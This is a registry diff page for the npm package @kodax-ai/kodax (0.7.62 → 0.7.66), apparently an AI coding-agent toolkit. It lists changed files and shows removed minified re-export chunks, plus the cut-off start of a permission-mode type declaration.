@kodax-ai/kodax 0.7.62 → 0.7.66
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +2300 -2145
- package/README.md +81 -9
- package/README_CN.md +54 -5
- package/dist/chunks/{agent-4ZMCIEGD.js → agent-KER4WDNO.js} +1 -1
- package/dist/chunks/argument-completer-HK3MHA3K.js +2 -0
- package/dist/chunks/{chunk-ARUWXX25.js → chunk-35P7QL2Q.js} +1 -1
- package/dist/chunks/chunk-3HKBBY74.js +339 -0
- package/dist/chunks/chunk-AKBH2EEE.js +8 -0
- package/dist/chunks/{chunk-OGRJQGKO.js → chunk-ALS32RNZ.js} +1 -1
- package/dist/chunks/chunk-MHRN2LQV.js +328 -0
- package/dist/chunks/{chunk-JILSZHCQ.js → chunk-NBQW7PNZ.js} +2 -2
- package/dist/chunks/{chunk-S4GVQO3W.js → chunk-O7N22GJ3.js} +1 -1
- package/dist/chunks/chunk-ONUPGMER.js +2 -0
- package/dist/chunks/{chunk-ZL5CEANW.js → chunk-PZTG2C33.js} +1 -1
- package/dist/chunks/{chunk-AY3BLB4Q.js → chunk-QAQ2HNXD.js} +112 -112
- package/dist/chunks/{chunk-6OZ5KWG3.js → chunk-QJJKMNZF.js} +1 -1
- package/dist/chunks/chunk-QJVZZSEO.js +56 -0
- package/dist/chunks/chunk-TLJGOKBT.js +729 -0
- package/dist/chunks/{chunk-6HTR3GHZ.js → chunk-VS4CDDEF.js} +245 -245
- package/dist/chunks/chunk-WBBEJIAY.js +306 -0
- package/dist/chunks/{chunk-HO6P6CPU.js → chunk-WMIZCY2J.js} +1 -1
- package/dist/chunks/{chunk-UA744TZM.js → chunk-YRBNXFHY.js} +1 -1
- package/dist/chunks/compaction-config-7GMUFNPB.js +2 -0
- package/dist/chunks/{construction-bootstrap-4ZNFZFX2.js → construction-bootstrap-3XDS2D5K.js} +1 -1
- package/dist/chunks/{devtools-4CRULTR2.js → devtools-CD6KSIHE.js} +1 -1
- package/dist/chunks/{devtools-YINBSZC7.js → devtools-XR5F2C6T.js} +1 -1
- package/dist/chunks/{dist-73L4OYPD.js → dist-4PXB7U22.js} +1 -1
- package/dist/chunks/dist-4YAYT2TO.js +2 -0
- package/dist/chunks/host-KG3456QP.js +2 -0
- package/dist/chunks/{paste-FDYM7SZX.js → paste-C33GZQV5.js} +1 -1
- package/dist/chunks/run-manager-6CAH3KTA.js +2 -0
- package/dist/chunks/utils-OT5ENFUL.js +2 -0
- package/dist/constructed-handler-worker.js +2 -0
- package/dist/index.d.ts +22 -11
- package/dist/index.js +6 -6
- package/dist/kodax_cli.js +1117 -1090
- package/dist/runtime-worker.js +2843 -0
- package/dist/sdk-agent.d.ts +29 -10
- package/dist/sdk-agent.js +1 -1
- package/dist/sdk-coding.d.ts +108 -1091
- package/dist/sdk-coding.js +1 -1
- package/dist/sdk-llm.js +1 -1
- package/dist/sdk-mcp.d.ts +2 -1
- package/dist/sdk-mcp.js +1 -1
- package/dist/sdk-media.js +1 -1
- package/dist/sdk-repl.d.ts +198 -184
- package/dist/sdk-repl.js +2 -2
- package/dist/sdk-runtime.d.ts +982 -0
- package/dist/sdk-runtime.js +2 -0
- package/dist/sdk-session.d.ts +4 -4
- package/dist/sdk-session.js +1 -1
- package/dist/sdk-skills.js +1 -1
- package/dist/semantic-worker.js +191 -10
- package/dist/types-chunks/{bash-prefix-extractor.d-Do_TCAmA.d.ts → bash-prefix-extractor.d-BjkITAva.d.ts} +266 -4
- package/dist/types-chunks/{run-manager.d-CYY3pZeJ.d.ts → capsule.d-hVhPNkHd.d.ts} +9 -107
- package/dist/types-chunks/commands.d-C3B1TdGM.d.ts +213 -0
- package/dist/types-chunks/{types.d-DFf4Sfys.d.ts → guardrail.d-C_Siraua.d.ts} +3 -128
- package/dist/types-chunks/{guardrail.d-DRp0Lqvx.d.ts → guardrail.d-wk-s0psS.d.ts} +3 -3
- package/dist/types-chunks/{manager.d-DBD7SOTT.d.ts → manager.d-Zum9cGHU.d.ts} +3 -173
- package/dist/types-chunks/oauth-login.d-Bgb4rdLN.d.ts +174 -0
- package/dist/types-chunks/{process.d-DXkRD7hj.d.ts → process.d-CY2g03Mb.d.ts} +11 -4
- package/dist/types-chunks/public-api.d-jtREVfEq.d.ts +596 -0
- package/dist/types-chunks/run-manager.d-CFknOfo1.d.ts +91 -0
- package/dist/types-chunks/{sdk-session-BGGOC0cT.d.ts → sdk-session-CLqyfAmf.d.ts} +8 -304
- package/dist/types-chunks/types.d-BMLxKV69.d.ts +128 -0
- package/dist/types-chunks/types.d-CUN_bZU7.d.ts +975 -0
- package/dist/types-chunks/{utils.d-ChOEH3NF.d.ts → utils.d-C1rpoeDh.d.ts} +84 -72
- package/package.json +7 -1
- package/dist/chunks/argument-completer-5PWSKFKI.js +0 -2
- package/dist/chunks/chunk-2F4R7WM7.js +0 -52
- package/dist/chunks/chunk-3KD26NCI.js +0 -310
- package/dist/chunks/chunk-E2Q4RIOD.js +0 -731
- package/dist/chunks/chunk-S4ISEA6F.js +0 -341
- package/dist/chunks/chunk-V4WSBIXB.js +0 -2
- package/dist/chunks/chunk-WFE6FBQ2.js +0 -326
- package/dist/chunks/compaction-config-SP3REMFR.js +0 -2
- package/dist/chunks/dist-IKWRJW6J.js +0 -2
- package/dist/chunks/host-XL5CH7QP.js +0 -2
- package/dist/chunks/run-manager-UXIPDVVF.js +0 -2
- package/dist/chunks/utils-XKWEVPE3.js +0 -2
- package/dist/types-chunks/storage.d-C3umBC4g.d.ts +0 -280
|
@@ -1,2 +0,0 @@
|
|
|
1
|
-
// @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
|
|
2
|
-
import{$ as ih,A as Jg,Aa as Jh,B as Kg,Ba as Kh,C as Lg,Ca as Lh,D as Mg,Da as Mh,E as Ng,Ea as Nh,F as Og,Fa as Oh,G as Pg,Ga as Ph,H as Qg,Ha as Qh,I as Rg,Ia as Rh,J as Sg,K as Tg,L as Ug,M as Vg,N as Wg,O as Xg,P as Yg,Q as Zg,R as _g,S as $g,T as ah,U as bh,V as ch,W as dh,X as eh,Y as fh,Z as gh,_ as hh,a as $,aa as jh,b as aa,ba as kh,c as ba,ca as lh,d as mg,da as mh,e as ng,ea as nh,f as og,fa as oh,g as pg,ga as ph,h as qg,ha as qh,i as rg,ia as rh,j as sg,ja as sh,k as tg,ka as th,l as ug,la as uh,m as vg,ma as vh,n as wg,na as wh,o as xg,oa as xh,p as yg,pa as yh,q as zg,qa as zh,r as Ag,ra as Ah,s as Bg,sa as Bh,t as Cg,ta as Ch,u as Dg,ua as Dh,v as Eg,va as Eh,w as Fg,wa as Fh,x as Gg,xa as Gh,y as Hg,ya as Hh,z as Ig,za as Ih}from"./chunk-AY3BLB4Q.js";import{a as Md,b as Nd,c as Od,d as Pd,e as Qd,f as Rd,g as Sd,h as Td,i as Ud,j as te}from"./chunk-OGRJQGKO.js";import{a as Vd,b as Wd,c as Xd,d as Yd,e as Zd,f as _d,g as $d,h as ae,i as be,j as ce,k as de,l as ee,m as fe,n as ge,o as he,p as ie,q as je,r as ke,s as le,t as me,u as ne,v as oe,w as pe,x as qe,y as re,z as se}from"./chunk-JILSZHCQ.js";import{A as zd,E as Ad,F as Bd,G as Cd,H as Dd,K as Ed,M as ue,N as ve,O as we,P as xe,Q as ye,R as ze,S as Ae,T as Be,V as Ce,W as De,X as Ee,a as ya,b as za,e as kd,ea as Ff,f as ld,fa as Gf,g as md,h as nd,i as od,j as pd,k as qd,la as Hf,ma as If,p as rd,q as sd,qa as Jf,t as td,u as ud,w as vd,x as wd,y as xd,z as yd}from"./chunk-WFE6FBQ2.js";import"./chunk-D6QVXQNI.js";import{a as Ld}from"./chunk-UA744TZM.js";import{$b as af,A as cc,Aa as _c,Ac as Cf,B as dc,Ba as $c,Bc as Df,C as ec,Ca as ad,Cc as Ef,D as fc,E as gc,Eb as Fe,F as hc,Fb as Ge,G as ic,Ga as bd,Gb as He,H as jc,Ha as cd,Hb as Ie,I as kc,Ia as dd,Ib as Je,J as lc,Ja as ed,Jb as Ke,Ka as fd,Kb as Le,L as mc,La as gd,Lb as Me,M as nc,Ma as hd,Mb as Ne,N as oc,Nb as Oe,Nc as Kf,O as pc,Oa as id,Ob as Pe,Oc as Lf,P as qc,Pa as jd,Pb as Qe,Pc as Mf,Q as rc,Qb as Re,Qc as Nf,R as sc,Rb as Se,Rc as Of,S as tc,Sb as Te,Sc as Pf,T as uc,Tb as Ue,Tc as Qf,U as vc,Ub as Ve,Uc as Rf,V as wc,Vb as We,Vc as Sf,W as xc,Wb as Xe,Wc as Tf,X as yc,Xb as Ye,Xc as Uf,Y as zc,Yb as Ze,Z as Ac,Zb as _e,_ as Bc,_b as $e,ac as bf,ba as Cc,bc as cf,bd as Vf,ca as Dc,cc as df,cd as Wf,d as Lb,da as Ec,dc as ef,dd as Xf,e as Mb,ea as Fc,ec as ff,ed as Yf,fa as Gc,fc as gf,fd as Zf,ga as Hc,gc as hf,gd as _f,ha as Ic,hc as jf,hd as $f,i as Nb,ic as kf,id as ag,j as Ob,ja as Jc,jc as lf,jd as bg,k as Pb,ka as Kc,kc as mf,kd as cg,l as Qb,la as Lc,lc as nf,ld as dg,m as Rb,ma as Mc,mc as of,md as eg,n as Sb,na as Nc,nc as pf,nd as fg,o as Tb,oa as Oc,oc as qf,od as gg,p as Ub,pa as Pc,pc as rf,pd as hg,q as Vb,qa as Qc,qc as sf,qd as ig,r as Wb,ra as Rc,rc as tf,rd as jg,s as Xb,sa as Sc,sc as uf,sd as kg,t as Yb,ta as Tc,tc as vf,u as Zb,ua as Uc,ub as Fd,uc as wf,v as _b,va as Vc,vb as Gd,vc as xf,w as $b,wa as Wc,wb as Hd,wc as yf,wd as lg,x as ac,xa as Xc,xb as Id,xc as zf,y as bc,ya as Yc,yb as Jd,yc as Af,za as Zc,zb as Kd,zc as Bf}from"./chunk-S4ISEA6F.js";import{$ as o,A as i,Aa as L,B as j,Ba as M,C as k,Ca as N,D as l,Da as O,E as m,Ea as P,Fa as Q,Ga as R,Ha as S,Ia as T,Ja as U,Ka as V,La as W,Ma as X,Na as Y,Oa as Z,R as n,Ra as _,a,aa as p,b,c,fa as q,ga as r,ha as s,ia as t,j as d,ja as u,k as e,ka as v,la as w,ma as x,na as y,oa as z,pa as A,qa as B,ra as C,s as f,sa as D,t as g,ta as E,ua as F,va as G,wa as H,xa as I,ya as J,z as h,za as K}from"./chunk-S4GVQO3W.js";import{Fc as Xa,Fd as Jb,Gc as Ya,Gd as Kb,Hc as Za,Ic as _a,Jc as $a,Kc as ab,Lc as bb,Mc as cb,Nc as db,Oc as eb,Pc as fb,Qc as gb,Rc as hb,Sc as ib,Tc as jb,Uc as kb,Vc as lb,Wc as mb,Xc as nb,Yc as ob,Zc as pb,_c as qb,a as Aa,ad as rb,b as Ba,bd as sb,c as Ca,cd as tb,d as Da,dd as ub,e as Ea,ed as vb,f as Fa,h as Ga,i as Ha,j as Ia,k as Ja,ka as Pa,l as Ka,ld as wb,m as La,md as xb,n as Ma,na as Qa,nd as yb,o as Na,ob as Va,od as zb,p as Oa,pb as Wa,pd as Ab,qd as Bb,rd as Cb,td as Db,ua as Ra,ud as Eb,va as Sa,vd as Fb,wa as Ta,wd as Gb,xa as Ua,xd as Hb,yd as Ib}from"./chunk-E2Q4RIOD.js";import{H as xa,a as ca,b as da,c as ea,d as fa,e as ga,f as ha,g as ia,h as ja,i as ka,j as la,k as ma,l as na,m as oa,n as pa,o as qa,p as ra,v as sa,w as ta,x as ua,y as va,z as wa}from"./chunk-ZL5CEANW.js";import"./chunk-V4WSBIXB.js";export{ih as AUTO_MODE_DENIAL_CONSECUTIVE_THRESHOLD,jh as AUTO_MODE_DENIAL_CUMULATIVE_THRESHOLD,Dh as BASH_POLICY_SPEC,zg as BLOCKER_REQUIRED_CONSECUTIVE_TURNS,oh as BREAKER_ERROR_THRESHOLD,ph as BREAKER_WINDOW_MS,Xd as BUILTIN_WORKFLOWS,Mb as CANCELLED_TOOL_RESULT_MESSAGE,Lb as CANCELLED_TOOL_RESULT_PREFIX,_g as CODING_AGENT_MARKER,sg as CODING_INVARIANTS,Ff as CODING_SUMMARY_PROMPT,Gf as CODING_UPDATE_SUMMARY_PROMPT,Re as CapabilityDeniedError,ug as Client,Af as CombinedExtensionRuntime,Se as ConstructionManifestError,Hf as DEFAULT_CODING_AGENT_NAME,Pg as DEFAULT_DANGEROUS_PATTERNS,Pe as DEFAULT_HANDLER_TIMEOUT_MS,kd as DEFAULT_RESILIENCE_CONFIG,Og as DEFAULT_SAFE_PATTERNS,af as DEFAULT_SELF_MODIFY_BUDGET,zh as DEFAULT_SPECULATIVE_WINDOW_MS,Ob as DEFAULT_TOOL_OUTPUT_MAX_BYTES,Nb as DEFAULT_TOOL_OUTPUT_MAX_LINES,Nd as DEFAULT_WORKFLOW_GENERATION_TIMEOUT_MS,Oa as DefaultSummaryCompaction,Xg as EMIT_VERDICT_TOOL_NAME,ya as ErrorCategory,dd as GENERATOR_AGENT_NAME,da as ImageResizeError,Ha as KODAX_API_MIN_INTERVAL,s as KODAX_DEFAULT_PROVIDER,Ba as KODAX_DEFAULT_TIMEOUT,ua as KODAX_FILE_MEDIA_TYPES,Ca as KODAX_HARD_TIMEOUT,sa as KODAX_IMAGE_MEDIA_TYPES,Fa as KODAX_MAX_INCOMPLETE_RETRIES,Da as KODAX_MAX_RETRIES,Aa as KODAX_MAX_TOKENS,r as KODAX_PROVIDERS,q as KODAX_PROVIDER_SNAPSHOTS,f as KODAX_REASONING_MODE_SEQUENCE,Ea as KODAX_RETRY_BASE_DELAY,g as KODAX_STABLE_EFFORT_INTENTS,Ga as KODAX_STAGGER_DELAY,Vf as KODAX_TOOLS,Zb as KODAX_UNDERLYING_CAPABILITY_TOPICS,ta as KODAX_VIDEO_MEDIA_TYPES,o as KodaXAnthropicCompatProvider,n as KodaXBaseProvider,ug as KodaXClient,a as KodaXError,zf as KodaXExtensionRuntime,ca as KodaXMediaError,p as KodaXOpenAICompatProvider,b as KodaXProviderError,c as KodaXRateLimitError,aa as KodaXSessionError,ba as KodaXTerminalError,$ as KodaXToolError,rb as LINEAGE_ENTRY_TYPES,Hd as LSP_SERVERS,tb as LineageCompaction,sb as LineageExtension,Id as LspService,_b as MANUAL_REGISTRY,Yb as MANUAL_TOPIC_IDS,ja as MAX_DIMENSION,cb as McpAuthRequiredError,ob as McpCapabilityProvider,bb as McpExpiredSessionError,pb as McpManager,nb as McpServerRuntime,oa as PASTE_TMP_DIR_ENV,pa as PASTE_TMP_TTL_MS,cd as PLANNER_AGENT_NAME,Ia as PROMISE_PATTERN,ve as PROMPT_SECTION_REGISTRY,Zg as PROTOCOL_EMITTER_TOOLS,qd as ProviderRecoveryCoordinator,Pb as READ_DEFAULT_LIMIT,Rb as READ_MAX_LINE_CHARS,Qb as READ_PREFLIGHT_SIZE_BYTES,vf as REPO_EXPLORER_AGENT_NAME,wf as REPO_EXPLORER_TOOL_NAMES,Qa as Runner,bd as SCOUT_AGENT_NAME,Ph as SCOUT_THEN_AUTHOR_PROMPT_LINES,Be as SELF_KNOWLEDGE_ROUTING_RULE,ue as SYSTEM_PROMPT,le as SYSTEM_WORKFLOW_LIMITS,od as StableBoundaryTracker,ka as TARGET_RAW_SIZE_BYTES,gd as TASK_ENGINE_ROLE_AGENTS,vg as TOOL_RESULT_TRUNCATION_GUARDRAIL_NAME,Gh as TRACING_ENV,ed as WORKER_AGENT_NAME,Md as WORKFLOW_GENERATION_SYSTEM_PROMPT,hf as _resetRuntimeForTesting,lf as activate,qc as analyzeChangedScope,_e as appendAuditEntry,Bb as appendSessionLineageLabel,Pf as applyAccountingDelta,Cb as applySessionCompaction,Pc as applyToolResultGuardrail,Ib as archiveOldIslands,Rh as authorWorkflowViaWorker,nh as autoModeDenialShouldFallback,wh as bashSignalCollector,Hh as bootstrapTracing,og as boundedRevise,sh as breakerShouldFallback,pg as budgetCeiling,me as buildApprovalSummary,Sf as buildBlockedGoal,Ce as buildCapabilityContextSections,$g as buildClassifierPrompt,Tf as buildCompleteGoal,Of as buildCreatedGoal,Bd as buildFallbackRoutingDecision,Dg as buildGoalRuntimeBinding,mb as buildInitializeCapabilities,Xe as buildLlmReviewPrompt,ac as buildManualToolDescription,Hg as buildMcpReverseCapabilities,Qf as buildPausedGoal,rd as buildPromptMessageContent,ze as buildPromptSnapshot,vd as buildProviderCapabilitySnapshot,Cd as buildProviderPolicyHintsForDecision,wd as buildProviderPolicyPromptNotes,pc as buildRepoIntelligenceContext,Cc as buildRepoIntelligenceIndex,mc as buildRepoOverview,Rf as buildResumedGoal,Qh as buildScoutThenAuthorPrompt,Ae as buildSelfKnowledgeRoutingRule,Gb as buildSessionTree,Ee as buildSystemPrompt,De as buildSystemPromptSnapshot,Rd as buildWorkflowGenerationSkillContext,Qd as buildWorkflowGenerationUserPrompt,vh as checkAbsoluteDeny,sd as checkIncompleteToolCalls,Ed as checkPromiseSignal,ne as clampWorkflowLimits,bh as classify,Rg as classifyBashCommand,za as classifyError,md as classifyResilienceError,Wa as cleanupIncompleteToolCalls,T as clearRuntimeModelProviders,yh as collectAllSignals,Bf as combineExtensionRuntimes,Tg as computeInputSignature,ch as computeRulesFingerprint,gf as configureRuntime,Tc as convertCapabilityReadResult,Sc as convertProviderSearchResults,Hb as countActiveLineageMessages,Ka as countTokens,La as createAgent,kh as createAutoModeDenialTracker,Ch as createAutoModeToolGuardrail,Qg as createBashClassifierConfig,Fh as createBashPrefixExtractor,bg as createBuiltinToolDefinition,qh as createCircuitBreaker,Vd as createCodingWorkflowBackend,Te as createCtxProxy,F as createCustomProvider,If as createDefaultCodingAgent,Sg as createDenialTracker,Cf as createExtensionRuntime,ha as createFileArtifactFromPath,Ma as createHandoff,ga as createImageArtifactFromPath,Na as createInMemorySession,Kg as createKodaXTaskRunner,Ya as createMcpCapabilityId,qb as createMcpManager,db as createMcpTransport,we as createPromptSection,Dd as createReasoningPlan,ke as createRunGraphWriter,mg as createSessionControl,wb as createSessionLineage,wg as createToolResultTruncationGuardrail,ia as createVideoArtifactFromPath,Jh as createWorkflowLifecycleController,Mh as createWorkflowPatternTemplateModule,re as createWorkflowRunManager,Nh as decideWorkflowInvocation,Ke as dedupeExtensionPathsByEntrypoint,Xa as defaultMcpCacheDir,Qe as defaultPolicy,ee as deleteSavedWorkflow,ff as disableSelfModify,hb as discoverAuthorizationServerMetadata,Oe as discoverDefaultExtensions,Ne as discoverExtensionsInDirectory,Me as discoverExtensionsInDirectoryDetailed,uf as discoverMarkdownAgents,ib as discoverOAuthEndpoints,gb as discoverProtectedResourceMetadata,_d as discoverSavedWorkflows,jd as drainPendingSwaps,j as effortToLegacyReasoningMode,Yg as emitVerdict,pe as emitWorkflowAgentDigest,xa as enqueueWithArtifacts,xf as ensureBuiltinRepoExplorerAgent,Ja as estimateTokens,xd as evaluateProviderPolicy,Le as excludeExtensionPathsByEntrypoint,Fe as exec,lg as executeTool,Jb as extractArtifactLedger,Eh as extractCommandPrefix,ud as extractComparableUserMessageText,Rc as extractHtmlTitle,fb as extractInsufficientScope,td as extractPromptComparableText,eb as extractResourceMetadataUrl,vb as extractTitleFromMessages,xh as fileSignalCollector,Vc as finalizeRetrievalResult,rf as findByVersion,Db as findPreviousUserEntryId,Fb as forkSessionLineage,ad as formatAgentsForPrompt,Mg as formatParallelDispatchResult,Sb as formatSize,ub as generateSessionId,Td as generateWorkflow,Ud as generateWorkflowFromOptions,Ef as getActiveExtensionRuntime,Sa as getAgentConfigHome,Ta as getAgentConfigPath,dg as getAllRegisteredTools,Ua as getAppDataDir,W as getAvailableProviderNames,ag as getBuiltinRegisteredToolDefinition,$f as getBuiltinToolDefinition,Yd as getBuiltinWorkflow,N as getCustomModelCapabilities,H as getCustomProvider,K as getCustomProviderList,M as getCustomProviderModelDescriptors,L as getCustomProviderModels,J as getCustomProviderNames,Ie as getDefaultExtensionDirectory,Jd as getDefaultLspService,se as getDefaultWorkflowRunManager,Wg as getDenialContext,Hc as getImpactEstimate,_c as getKodaxGlobalDir,ab as getMcpCachePaths,C as getModelCapabilities,va as getModelInputCapabilities,Ec as getModuleContext,Gc as getProcessContext,t as getProvider,x as getProviderConfiguredCapabilityProfile,w as getProviderConfiguredReasoningCapability,y as getProviderList,v as getProviderModel,B as getProviderModelDescriptors,z as getProviderModels,Zf as getRegisteredToolDefinition,Dc as getRepoIntelligenceIndex,nc as getRepoOverview,Ic as getRepoRoutingSignals,ig as getRequiredToolParams,Q as getRuntimeModelProvider,S as getRuntimeModelProviderNames,xb as getSessionLineagePath,yb as getSessionMessagesFromLineage,Fc as getSymbolContext,Xf as getTool,Yf as getToolDefinition,_f as getToolRegistrations,Oc as getToolResultPolicy,Lh as getWorkflowPatternTemplate,Lf as goalTokenDelta,id as hasPendingSwap,ea as inferImageMediaType,Ad as inferTaskType,fa as inferVideoMediaType,fc as inspectEditFailure,Bc as inspectRepoIntelligenceRuntime,I as isCustomProviderName,Vg as isDeniedRecently,V as isKnownProvider,Lg as isParallelDispatchDirective,u as isProviderConfigured,A as isProviderName,R as isRuntimeModelProviderName,nd as isSessionRecoveryCandidateError,He as isSupportedExtensionModulePath,fg as isToolFileMutation,hg as isToolMutation,gg as isToolNetworkRead,eg as isToolPlanModeAllowed,Uf as isValidTokenBudget,Fd as languageIdForPath,sf as listAll,Z as listAllModelCapabilities,of as listArtifacts,D as listBuiltinModelCapabilities,cg as listBuiltinToolDefinitions,Zd as listBuiltinWorkflows,qf as listConstructed,O as listCustomProviderModelCapabilities,kg as listToolDefinitions,jg as listTools,Kh as listWorkflowPatternTemplates,$c as loadAgentsFiles,tf as loadAgentsFromMarkdown,gh as loadAutoRules,ge as loadGeneratedWorkflowFromRun,Ue as loadHandler,be as loadSavedWorkflow,ae as loadSavedWorkflowCapsule,lb as loadValidToken,Kf as makeDisabledGoalToolsContext,i as mapLegacyReasoningModeToEffortIntent,Gg as mcpRootsFromWorkspace,Kb as mergeArtifactLedger,Za as normalizeMcpCapabilityId,la as normalizePastedImage,h as normalizeReasoningEffortValue,$d as normalizeWorkflowModule,xe as orderPromptSections,Wd as parallelInvestigation,fh as parseAutoRules,ah as parseClassifierOutput,ec as parseEditToolError,Ye as parseLlmReviewVerdict,_a as parseMcpCapabilityId,th as parseModelSpec,k as parseReasoningEffortEnv,e as parseTimeoutSecEnvMs,Sd as parseWorkflowGeneration,kb as performOAuthLogin,qa as persistImageAsBlock,Wb as persistToolOutput,ie as preflightWorkflowCapsule,Jc as prewarmRepoIntelligenceCaches,Ld as providerResilienceConfigFromTimeouts,ra as prunePasteTmpDir,na as readAndNormalizeClipboardImage,pf as readArtifact,$e as readAuditEntries,bf as readBudget,ma as readClipboardImage,ef as readDisableState,Ah as readSpeculativeWindowFromEnv,dh as readTrustState,zd as reasoningModeToDepth,pd as reconstructMessagesWithToolGuard,mh as recordAutoModeAllow,lh as recordAutoModeBlock,xg as recordBlockerAttempt,rh as recordBreakerError,Ug as recordDenial,tg as registerCodingInvariants,Fg as registerConfiguredMcpCapabilityProvider,G as registerCustomProviders,P as registerModelProvider,jb as registerOAuthClient,Ig as registerOfficialSandboxExtension,Pa as registerPresetDispatcher,Wf as registerTool,mf as rehydrateActiveArtifacts,cf as remainingSelfModifyBudget,de as renameSavedWorkflow,rc as renderChangedScope,yc as renderImpactEstimate,vc as renderModuleContext,xc as renderProcessContext,ye as renderPromptSections,oc as renderRepoOverview,Uc as renderRetrievalResult,wc as renderSymbolContext,fe as replaceSavedWorkflow,Gd as reportLspDiagnostics,yg as resetBlockerCounter,df as resetBudget,uh as resolveClassifierModel,hd as resolveConstructedAgent,Je as resolveExtensionEntrypoint,$b as resolveKodaXManual,Y as resolveModelCapabilities,U as resolveProvider,X as resolveProviderModelDescriptors,l as resolveReasoningEffort,m as resolveReasoningEffortForModelSwitch,yd as resolveReasoningMode,Ac as resolveRepoIntelligenceMode,zc as resolveRepoIntelligenceRuntimeConfig,ld as resolveResilienceConfig,zb as resolveSessionLineageTarget,qg as resolveToolCapability,_ as resolveWireEffort,Od as resolveWorkflowGenerationTimeoutMs,Ih as resolveWorkflowIdentity,nf as revoke,Eb as rewindSessionLineage,yf as rollbackSelfModify,Ve as runAstRules,Jf as runKodaX,Ze as runLlmReview,Eg as runManagedTask,Jg as runOrchestration,qe as runWorkflowFromOptions,oe as runWorkflowModule,je as safeWorkflowArtifactName,ce as saveGeneratedWorkflow,he as saveGeneratedWorkflowFromRun,$a as searchMcpCatalog,Df as setActiveExtensionRuntime,Ra as setAgentConfigHome,Ab as setSessionLineageActiveEntry,Nf as shouldFlipBudgetLimited,Kd as shutdownDefaultLspService,Bh as speculativeRace,jf as stage,ng as startKodaX,te as startManagedWorkflow,hh as stripAssistantText,Qc as stripHtmlToText,kf as testArtifact,d as timeoutSecToMs,lc as toolAskUserQuestion,hc as toolBash,uc as toolChangedDiff,tc as toolChangedScope,Yc as toolCodeSearch,dc as toolEdit,ic as toolGlob,jc as toolGrep,Nc as toolImpactEstimate,gc as toolInsertAfterAnchor,Kc as toolModuleContext,rg as toolPermission,Mc as toolProcessContext,Xb as toolRead,sc as toolRepoOverview,Zc as toolSemanticLookup,Lc as toolSymbolContext,kc as toolUndo,Xc as toolWebFetch,Wc as toolWebSearch,cc as toolWrite,Tb as truncateHead,Vb as truncateLine,Ub as truncateTail,eh as trustProjectRules,Mf as turnWallTimeDelta,Va as validateAndFixToolHistory,E as validateCustomProviderConfig,Pd as validateGeneratedWorkflowSource,wa as validateInputArtifactsForModel,Ng as validateSubtaskIndependence,We as validateToolSchemaForProvider,Cg as verifyGoalCompletion,Ge as webhook,Ag as withGoalBeforeNextTurn,Bg as withGoalStopHook,bc as withManualToolBranding,fd as workerAgent,Oh as workflowStartOutcomeConsumesTurn};
|
|
@@ -1,2 +0,0 @@
|
|
|
1
|
-
// @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
|
|
2
|
-
import{j as a}from"./chunk-OGRJQGKO.js";import"./chunk-JILSZHCQ.js";import"./chunk-UA744TZM.js";import"./chunk-S4ISEA6F.js";import"./chunk-S4GVQO3W.js";import"./chunk-E2Q4RIOD.js";import"./chunk-ZL5CEANW.js";import"./chunk-V4WSBIXB.js";export{a as startManagedWorkflow};
|
|
@@ -1,2 +0,0 @@
|
|
|
1
|
-
// @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
|
|
2
|
-
import{y as a,z as b}from"./chunk-JILSZHCQ.js";import"./chunk-S4ISEA6F.js";import"./chunk-S4GVQO3W.js";import"./chunk-E2Q4RIOD.js";import"./chunk-ZL5CEANW.js";import"./chunk-V4WSBIXB.js";export{a as createWorkflowRunManager,b as getDefaultWorkflowRunManager};
|
|
@@ -1,2 +0,0 @@
|
|
|
1
|
-
// @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
|
|
2
|
-
import{A as z,B as A,C as B,D as C,E as D,F as E,G as F,H as G,I as H,J as I,K as J,L as K,M as L,b as a,c as b,d as c,e as d,f as e,g as f,h as g,i as h,j as i,k as j,l as k,m as l,n as m,o as n,p as o,q as p,r as q,s as r,t as s,u as t,v as u,w as v,x as w,y as x,z as y}from"./chunk-2F4R7WM7.js";import"./chunk-AY3BLB4Q.js";import"./chunk-OGRJQGKO.js";import"./chunk-JILSZHCQ.js";import"./chunk-WFE6FBQ2.js";import"./chunk-D6QVXQNI.js";import"./chunk-UA744TZM.js";import"./chunk-S4ISEA6F.js";import"./chunk-S4GVQO3W.js";import"./chunk-E2Q4RIOD.js";import"./chunk-ZL5CEANW.js";import"./chunk-V4WSBIXB.js";export{c as KODAX_CONFIG_FILE,a as KODAX_DIR,B as KODAX_EXAMPLE_CONFIG_FILE,b as KODAX_SESSIONS_DIR,i as KODAX_VERSION,d as PREVIEW_MAX_LENGTH,p as describeProviderCapabilitySummary,w as describeReasoningCapabilityControl,x as describeReasoningExecution,C as ensureExampleConfigFile,J as formatProviderCapabilityDetailLines,I as formatProviderSourceKind,q as formatReasoningCapabilityShort,r as formatReasoningEffortForDisplay,u as formatReasoningEffortStatusLabel,H as getGitRoot,k as getProviderAvailableModels,m as getProviderCapabilityProfile,n as getProviderCapabilitySnapshot,K as getProviderCommonPolicyScenarios,y as getProviderList,j as getProviderModel,o as getProviderPolicyDecision,l as getProviderReasoningCapability,t as getProviderReasoningEffortCycle,s as getProviderReasoningEffortOptions,h as getVersion,e as hydrateProcessEnvFromShell,z as isProviderConfigured,A as loadConfig,D as prepareRuntimeConfig,L as rateLimitedCall,g as registerConfiguredCustomProviders,f as resetShellEnvironmentHydrationForTesting,F as resolveInitialEffortOverride,G as resolvePermissionModeEffort,v as resolveProviderReasoningRuntimeEffort,E as saveConfig};
|
|
@@ -1,280 +0,0 @@
|
|
|
1
|
-
import { a as BashPrefixExtractor } from './bash-prefix-extractor.d-Do_TCAmA.js';
|
|
2
|
-
import { aa as KodaXSessionData, af as KodaXSessionLineage, ai as KodaXSessionNavigationOptions, aj as KodaXSessionRuntimeInfo, al as KodaXSessionStorage } from './process.d-DXkRD7hj.js';
|
|
3
|
-
|
|
4
|
-
/**
|
|
5
|
-
* Permission Types
|
|
6
|
-
*/
|
|
7
|
-
|
|
8
|
-
/**
|
|
9
|
-
* Permission mode
|
|
10
|
-
* - plan: Read-only planning, all modifications blocked unless explicitly whitelisted
|
|
11
|
-
* - accept-edits: File edits auto-approved, shell commands require confirmation
|
|
12
|
-
* - auto: All tools auto-approved (with optional LLM classifier review when
|
|
13
|
-
